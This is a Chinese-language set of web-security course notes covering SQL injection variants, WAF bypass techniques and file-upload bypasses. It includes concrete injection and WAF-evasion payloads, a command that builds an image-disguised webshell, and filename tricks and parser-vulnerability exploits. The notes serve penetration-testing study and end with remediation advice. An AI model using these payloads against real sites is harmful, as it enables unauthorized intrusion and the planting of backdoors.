| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> PHP知识库 -> 【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-4 -> 正文阅读 |
|
[PHP知识库]【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-4 |
目录第17天:WEB漏洞-SQL注入之二次,加解密,DNS等注入
二次注入原理 第一步:插入恶意数据 第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。 第二步:引用恶意数据 在将数据存入到了数据库中之后,开发者就认为数据都可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。 二次注入案例(sqli-lib 24) 3.DNSlog注入 需要高权限才能实现(鸡肋) ~~DNSlog:解决了盲注不能回显数据,效率低的问题 借助DnslogSqlinj工具来进行DNSlog注入: 涉及资源: 知道创宇 - CEYE检测平台:http://ceye.io/ DNSlog注入工具DnslogSqlinj:http://github.com/ADOOO/DnslogSqlinj 第18天:WEB漏洞-SQL注入之堆叠及WAF绕过注入1.堆叠查询注入stacked injections(堆叠注入),一次注入多条语句。 WAF绕过 主要以宝塔、安全狗、阿里云盾,建议购买阿里云服务器搭建测试平台 数据:大部分过滤是对数据有所检测,在数据上做一些变异来绕过 方式:改变请求方式 其他:根据数据库和漏洞的特性,或依靠数据溢出和参数污染等方法 现在很多网站是宝塔一键搭建的 2.安全狗以安全狗和sqli-libs/less-2为例,GET型“union select”被拦截: 1、使用POST等方法提交注入参数 原语句:?id=1 union select 1,2,3# 绕过WAF的语句:?id=1 union%23a%0Aselect 1,2,3%23 %0A=换行符,%23=“#”,“#”为注释符 WAF识别的语句:
被执行的语句:SELECT * FROM users WHERE id=-1 union#a select 1,2,3;# LIMIT 0,1 3、主要利用参数污染 原语句:?id=-1 union select 1,2,3# 绕过WAF的语句: 也就是:?id=1/**&id=-1 union select 1,2,3#*/ %20=“ ”,%23=“#”,“/**”“*/”为注释符 WAF接收的语句: 也可能是:1/**-1 union select 1,2,3#*/ WAF识别的语句: 被执行的语句:SELECT * FROM users WHERE id=-1 union select 1,2,3#*/ LIMIT 0,1 “/**”“*/”并不是MySQL的注释符 PHP/Apache架构GET语句接收多个参数时,接收最后一个 3.FUZZ测试利用脚本批量做模糊测试,类似爆破 4.其他1.#应用层 大小写/关键字替换 id=1 UnIoN/**/SeLeCT 1,user() Hex() bin() 等价于 ascii() Sleep() 等价于 benchmark() Mid()substring() 等价于 substr() @@user 等价于 User() @@Version 等价于 version() 各种编码 大小写,URL,hex,%0A 等 注释使用 // – --+ # // + :%00 /!/等 再次循环 union==uunionnion 等价替换 user()=@@user() and=& or=| ascii=hex 等 参数污染 ?id=1&id=2&id=3 编码解码及加密解密 s->%73->%25%37%33 hex,unlcode,base64 等 更改请求提交方式 GET POST COOKIE 等 POST->multipart/form-data 中间件 HPP 参数污染 2.#数据库特性 1、Mysql 技巧 (1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格) (2)空格符:[0x09,0x0a-0x0d,0x20,0xa0] (3)特殊符号:%a 换行符 可结合注释符使用%23%0a,%2d%2d%0a。 /!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540 (5)mysql 黑魔法 select{x username}from {x11 test.admin}; 2、SQL Server 技巧 (1)用来注释掉注射后查询的其余部分: /* C 语言风格注释 – SQL 注释 ; 00% 空字节 (2)空白符:[0x01-0x20] (3)特殊符号:%3a 冒号 id=1 union:select 1,2 from:admin (4)函数变形:如 db_name空白字符 3、Oracle 技巧 (1)注释符:–、/**/ (2)空白字符:[0x00,0x09,0x0a-0x0d,0x20] 4.配合 FUZZ select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】 from【位置五】admin #逻辑层 1、逻辑问题 (1)云 waf 防护,一般会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。 (2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。 (3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP 没有防护,直接访问 HTTP 站点绕过防护。 (4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数 输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns 2、性能问题 1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只 要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。 2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向 量时超出了其缓冲区长度就会引发 bug,从而实现绕过。 例子 1: ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9 PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试 长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。 例子 2: ?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata 备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。 3、白名单 方式一:IP 白名单 从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情 况。 测试方法:修改 http 的 header 来 bypass waf X-forwarded-for X-remote-IP X-originating-IP x-remote-addr X-Real-ip 方式二:静态资源 特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测 效率,不去检测这样一些静态文件名后缀的请求。 http://10.9.9.201/sql.php?id=1 http://10.9.9.201/sql.php/1.js?id=1 备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别 方式三:url 白名单 为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url 中存在白名单的字符串,就作为白名单不进行检测。 涉及资源: 第19天:WEB漏洞-SQL注入之SQLMAP绕过WAF在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。 1. IP白名单 2.静态资源 3.url白名单 4.爬虫白名单 5. MySQL /*!50001 6.sqlmap 7.sqlmap不支持修改的值怎么修改? 2、把注入语句写到txt里 把修改好的注入语句写到test.txt里 3、中转注入 第20天:WEB漏洞-文件上传之基础及过滤方式1.什么是文件上传漏洞? 2.文件上传漏洞有哪些危害? 3.黑盒查找 2、通过网站给出的相关应用(如会员中心)寻找测试点 3、进入网站后台,在后台寻找文件上传的点 4、代码审计 4.文件上传漏洞有哪些需要注意的地方? 5.演示案例总结 后门代码需要以正确的格式执行 6.前端验证绕过 1、浏览器禁用JS 2、把过滤代码删除掉 涉及资源: 第21天:WEB漏洞-文件上传之后端黑白名单绕过1.文件上传常见验证: 后缀名:类型,文件头等 后缀名:黑名单,白名单 黑名单:明确不允许上传的格式的后缀 白名单:明确可以上传的格式的后缀 黑白名单都是非黑即白的 2.文件类型:MIME信息 3.文件头:内容头信息 4.$_FILES数组 $_FILES[‘myFile’][‘type’] 文件的 MIME 类型 $_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节 $_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认 $_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码 如存在以下文件域,“myFile”为文件域的name属性 5…htaccess Apache服务器特有的配置文件,可以改变相关目录下的网页配置 例 作用:把名字里有“xxx”的文件以“yyy”的格式解析,其中“yyy”要以MIME的格式 6.空格、点和“::$DATA” 如果上传的文件名字结尾有空格,空格会被识别为后缀的一部分,从而绕过黑名单 Windows系统会自动去除名字结尾的空格 文件名字结尾加点同理 文件名字结尾加“::$DATA”同理 7.一次过滤和递归过滤 假设代码将字符串里的空格和结尾的点依次替换为空且只过滤一次 过滤前:a.php. . 过滤后:a.php. 8.%00和0x00 空字符,NUL,截断后面的内容 %00一般用于网站地址 0x00一般用于文件命名,%00是0x00的url编码 因为GET会自动解码,POST不会自动解码 第22天:WEB漏洞-文件上传之内容逻辑数组绕过1.图片一句话制作方法 命令行: 把1.png和shell.php组成webshell.jpg copy 1.png /b + shell.php /a webshell.jpg 手工: 以16进制打开图片 将代码插入到图片最后 2.文件头检测 塒NG png GIF89a gif 3.图像文件信息判断 getimagesize()函数:获取图像大小及相关信息 exif_imagetype()函数:判断一个图像的类型 imagecreatefrom系列函数:从文件或 URL 载入一幅图像,该系列有多个函数 imagecreatefromjpeg():从 JPEG 文件或 URL 地址载入一副图像 4.逻辑安全-二次渲染 网站要把用户上传的图片规范化,包括对图片进行再次压缩、裁剪等渲染操作。 二次渲染意味着网站要先保存、再处理、再保存,如果第一次保存时未检测信息,会出现漏洞 5.逻辑安全-条件竞争 在二次渲染的情况下,可能存在如下情况 图片已经保存到了临时地址,此时不断地访问临时地址,使上传的文件被占用,无法进行更多操作。上传出错,脚本上传成功 6.目录命名-x.php/. 不仅是文件名,对上传文件的路径进行构造也可以绕过检测 例: 网站源码:UPLOAD_PATH . ‘/’ . $file_name; 正常上传文件时 文件名:upload-19.jpg 路径:upload/upload-19.jpg 试图绕过时 文件:upload-19.php/. 路径:upload/upload-19.php/. 保存在服务器上的文件:upload-19.php 7.漏洞 搭建上传环境的软件都可能会爆出CVE漏洞 8.数组接受+目录命名 例: 正常上传文件时 文件名:upload-20.jpg 接受文件名的数组: X[0]=’upload-20’ X[1]=’.’ X[2]=’jpg’ 路径:upload/upload-20.jpg 试图绕过时 提交的文件名(数组): X[0]=’upload-20.php/’ X[2]=’jpg’ 程序拼接的文件名:upload-20.php/.jpg 保存在服务器上的文件:upload-20.php 上述案例在实战时只能靠大量尝试 9.解析漏洞 这类漏洞比较老,现已很少见 解析漏洞是指由于应用程序本身的漏洞,当程序在解析某些精心构造的后缀文件时,会将其错误地解析成网页脚本格式 10.IIS6.0 文件夹 正常:image/qq.jpg 构造:image.asp/qq.jpg qq.jpg会被当作asp解析 正常:image.jpg 构造:image.asp;.jpg或xxx.asp;xxx.jpg 此文件会被当作asp执行 asp可以换做php,以上内容依旧成立 11.Nginx 访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行 12.碰见漏洞首先判断
13.文件上传
涉及资源: 第23天:WEB漏洞-文件上传之解析漏洞编辑器安全
1.Apache低版本解析漏洞 例:phpinfo.php.xxx 识别最后一个后缀,如果不识别则解析前一个后缀,直到识别 利用场景: 如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。 2.Apache配置安全漏洞 类似.htaccess 由于配置不合理而产生 3.Apache换行解析漏洞(CVE-2017-15715) 1.php\x0A 以1.php为例,当上传文件为黑名单限制时,在1.php后面加“\x0A”,能够上传且文件会被以php格式解析 注意,这里的“\x0A”需要使用工具修改 Nginx 访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行 2.Nginx文件名逻辑 访问上传的图片(以info.jpg为例)并抓包,修改为“info.jpg…php”,在Hex选修卡中将“jpg”后面的两个点“2e”改成“20,00”,程序会把jpg文件当作php执行 请求文件:info.jpg[0x20][0x00].php,文件以php格式执行 各个WEB编辑器安全讲解 第三方编辑器,负责文件音频方面的处理 https://navisec.it/编辑器漏洞手册/ 怎么判断网站使得什么编辑器? 在会员中心或者后台中心可能会看到网站使用的什么编辑器 网站扫描发现编辑器相关的路径 各个CMS文件上传简要讲解 文件上传简要总结 1、中间件是否有解析漏洞 2、尝试绕过验证 3、CMS 4、编辑器 5、CVE 6、可能没有漏洞 文件上传点怎么找 通过字典扫描寻找可能的上传点 在会员中心或者后台中心可能会找到上传点 涉及资源: 编辑器漏洞手册:https://navisec.it/编辑器漏洞手册/ phpStudy php5.2珍藏版 (apache 2.2.25+php 5.2.17):https://www.jb51.net/softs/75619.html 2019通达oa安装文件:https://pan.baidu.com/share/init?surl=5gcdBuOFrN1F9xVN7Q7GSA 提取码:enqx 第24天:WEB漏洞-文件上传之WAF绕过及安全修复1.上传参数名解析:明确哪些东西能修改? Content-Disposition:表单的数据,一般可更改 name:表单参数值,不能更改,更改会影响上传 filename:文件名,可以更改 Content-Type:文件 MIME,视情况更改 2.常见绕过方法: 以安全狗和upload-labs Pass-2为例 3.数据溢出-防匹配(xxx…) 防火墙会检查上传数据的每一项内容,但如果数据过多,防火墙可能会放过只检查了一部分的内容 在上传参数之间插入由垃圾数据组成的无效参数 4.符号变异-防匹配(’ ; ") php是弱类型语言,只有一个引号也可能正确识别。但防火墙很可能会错误识别数据 将“filename=”xx.php””里的后双引号删掉,或把一对引号都删掉; 将filename的数据改为“filename=”x”.php”,会上传一个“.php”,可以执行; 改为“filename=”x”x.php”,会上传一个“x.php” 5.数据截断-防匹配(%00 ; 换行) %00 “filename=”x.php .jpg””,在将空格改为“%00”,失效 换行 上传的数据包: “filename=x.p h P” 防火墙接受的(可能):“filename=x.p\nh\np” 6.重复数据-防匹配(参数多次) 多个相同参数看以哪个为准:filename=”x.jpg”;filename=”y.jpg” 多个重复参数,类似数据溢出 将filename之前的上传参数复制到filename里,结尾加上“;x.php”或“x.php” filename=“Content-Disposition: form-data; name=“upload_file”;x.php” 下面这条可以上传一个“jpeg;x.php” filename=“Content-Type:image/jpeg;x.php” 7.Payload: 大量垃圾数据缓冲溢出(Content-Disposition,filename 等) filename=x.php filename="x.php filename='x.php filename=“a.jpg;.php”; filename=“a.php%00.jpg” filename=“Content-Disposition: form-data; name=“upload_file”;x.php” filename=“x.jpg”;filename=“x.jpg”;…filename=“x.php”; filename=“xxx/x.jpg” filename= "x. p h p" 8.Fuzz模糊测试 右键“Send to intruder”,在Positions把filename的值作为条件,在Payloads选择字典 9.文件上传安全修复方案 后端验证:采用服务端验证模式 后缀检测:基于黑名单,白名单过滤 MIME 检测:基于上传自带类型检测 内容检测:文件头,完整性检测 自带函数过滤:参考 uploadlabs 函数 自定义函数过滤:function check_file(){} WAF 防护产品:宝塔,云盾,安全公司产品等 Windows下文件名不区分大小写,Linux下文件名区分大小写 Windows下ADS流特性,导致上传文件xxx.php::$DATA = xxx.php Windows下文件名结尾加入“.”“ ”“<”“>”“>>>”“0x81”-“0xff”等字符,最终生成的文件均被Windows忽略 涉及资源: fuzzdb(字典):https://github.com/fuzzdb-project/fuzzdb fuzzDicts(字典):https://github.com/TheKingOfDuck/fuzzDicts |
|
PHP知识库 最新文章 |
Laravel 下实现 Google 2fa 验证 |
UUCTF WP |
DASCTF10月 web |
XAMPP任意命令执行提升权限漏洞(CVE-2020- |
[GYCTF2020]Easyphp |
iwebsec靶场 代码执行关卡通关笔记 |
多个线程同步执行,多个线程依次执行,多个 |
php 没事记录下常用方法 (TP5.1) |
php之jwt |
2021-09-18 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/14 14:49:12- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |